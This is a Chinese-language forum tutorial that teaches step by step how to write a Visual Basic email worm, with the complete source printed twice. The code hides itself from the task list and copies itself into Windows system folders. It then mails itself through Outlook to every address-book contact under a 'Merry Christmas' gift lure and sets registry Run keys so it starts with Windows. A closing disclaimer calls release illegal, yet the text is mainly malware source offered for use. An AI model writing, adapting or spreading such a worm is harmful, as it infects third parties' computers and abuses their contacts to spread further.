[资料]VB黑客技术编程系列

专属天使

制作一个VB蠕虫
------------------------------

你要编写一个蠕虫吗？很简单，只须有基本的编程概念就可以了。如果你没有编程的基本概念，我建议你去学习编程，才读这篇文章。我就在这里教你如何编写一个VB蠕虫吧！

打开Visual Basic，选择“Standard EXE”的Project。移除那个Form，然后加入一个Module。点击Project->Project1 Properties。在弹出来的窗口中，把Startup Object改为“Sub Main”。在Module中，键入以下的编码：

Sub Main()
'TaskVisible的功能是把程序在End Task表中除掉。
App.TaskVisible = False
End Sub

以上的编码只是把程序从End Task表中除掉，没什么作用。现在，让这个VB蠕虫自行复制去别的文件夹。在Sub Main中键入以下的编码：

'阻止问题发生
On Error Resume Next
Dim Location, Location2, DesLocation, DesLocation2
'得到EXE的位置
Location = App.Path & "\" & App.EXEName & ".exe"
Location2 = App.Path & App.EXEName & ".exe"

'设定目的地
DesLocation = "C:\WINDOWS\SYSTEM\WinMapi.exe"
DesLocation2 = "C:\WINNT\SYSTEM\Mapi.exe"

'开始复制自己
FileCopy Location, DesLocation
FileCopy Location2, DesLocation
FileCopy Location, DesLocation2
FileCopy Location2, DesLocation2

蠕虫自行复制的编码已完成。现在，让蠕虫电子邮寄自己出去吧！键入以下的编码：

Dim Var1, FilePath, FileName, FullLocation, MyApp
Dim Christmas, List, AddList, AddressListCount
Dim Merry, AdEntries, Attachs, Msg
Var1 = "True"
FilePath = App.Path
FileName = App.EXEName
FullLocation = FilePath & "\" & FileName
Set MyApp = CreateObject("Outlook.Application")
If MyApp = "Outlook" Then
Set Christmas = MyApp.GetNameSpace("mapi")
Set List = Christmas.AddressLists
For Each Addresslist In List
If Addresslist.AddressEntries.Count <> 0 Then
AddressListCount = Addresslist.AddressEntries.Count
For AddList = 1 To AddressListCount
Set Merry = MyApp.CreateItem(0)
Set AdEntries = Addresslist.AddressEntries(AddList)
Merry.To = AdEntries.Address
Merry.Subject = "圣诞节快乐!!"
Merry.Body = "圣诞节快乐！这是一个特别个你的圣诞节的礼物！ _
       过个快乐的圣诞节!"
Set Attachs = Merry.Attachments
Attachs.Add FullLocation
If Var1 = "true" Then
Merry.DeleteAfterSubmit = True
If Msg.To <> "" Then
Merry.send
End If
End If
Next
Beep
End If
Next
End If

蠕虫电子邮寄自己的部分完成啦！现在，让视窗每次启动时都开启蠕虫。键入以下的编码：

Dim Reg
Set Reg = CreateObject("wscript.Shell")

'把资料写入Registry
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ _
Windows\CurrentVersion\Run\Mapi", _
"C:\WINNT\SYSTEM\Mapi.exe"
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ _
Windows\CurrentVersion\Run\WinMapi", _
"C:\WINDOWS\SYSTEM\WinMapi.exe"

以下是VB蠕虫的完整编码：

Sub Main()
'TaskVisible的功能是把程序在End Task表中除掉。
App.TaskVisible = False
'阻止问题发生
On Error Resume Next
Dim Location, Location2, DesLocation, DesLocation2
'得到EXE的位置
Location = App.Path & "\" & App.EXEName & ".exe"
Location2 = App.Path & App.EXEName & ".exe"

'设定目的地
DesLocation = "C:\WINDOWS\SYSTEM\WinMapi.exe"
DesLocation2 = "C:\WINNT\SYSTEM\Mapi.exe"

'开始复制自己
FileCopy Location, DesLocation
FileCopy Location2, DesLocation
FileCopy Location, DesLocation2
FileCopy Location2, DesLocation2

Dim Var1, FilePath, FileName, FullLocation, MyApp
Dim Christmas, List, AddList, AddressListCount
Dim Merry, AdEntries, Attachs, Msg
Var1 = "True"
FilePath = App.Path
FileName = App.EXEName
FullLocation = FilePath & "\" & FileName
Set MyApp = CreateObject("Outlook.Application")
If MyApp = "Outlook" Then
Set Christmas = MyApp.GetNameSpace("mapi")
Set List = Christmas.AddressLists
For Each Addresslist In List
If Addresslist.AddressEntries.Count <> 0 Then
AddressListCount = Addresslist.AddressEntries.Count
For AddList = 1 To AddressListCount
Set Merry = MyApp.CreateItem(0)
Set AdEntries = Addresslist.AddressEntries(AddList)
Merry.To = AdEntries.Address
Merry.Subject = "圣诞节快乐!!"
Merry.Body = "圣诞节快乐！这是一个特别个你的圣诞节的礼物！ _
       过个快乐的圣诞节!"
Set Attachs = Merry.Attachments
Attachs.Add FullLocation
If Var1 = "true" Then
Merry.DeleteAfterSubmit = True
If Msg.To <> "" Then
Merry.send
End If
End If
Next
Beep
End If
Next
End If

Dim Reg
Set Reg = CreateObject("wscript.Shell")

'把资料写入Registry
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ _
Windows\CurrentVersion\Run\Mapi", _
"C:\WINNT\SYSTEM\Mapi.exe"
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ _
Windows\CurrentVersion\Run\WinMapi", _
"C:\WINDOWS\SYSTEM\WinMapi.exe"
End Sub

你也可以告诉被你蠕虫感染电脑的用户他们的机子被感染了。键入以下的编码：

MsgBox "哈哈！你的机子已被蠕虫感染了！",vbCritical,"蠕虫感染"

做个蠕虫来玩玩吧！不过，不要释放这蠕虫出去，因为它是犯法的。
如果你对这篇文章有任何疑问，请回贴。

这篇文章只是提供教学目的。此文章的任何后果与我无关。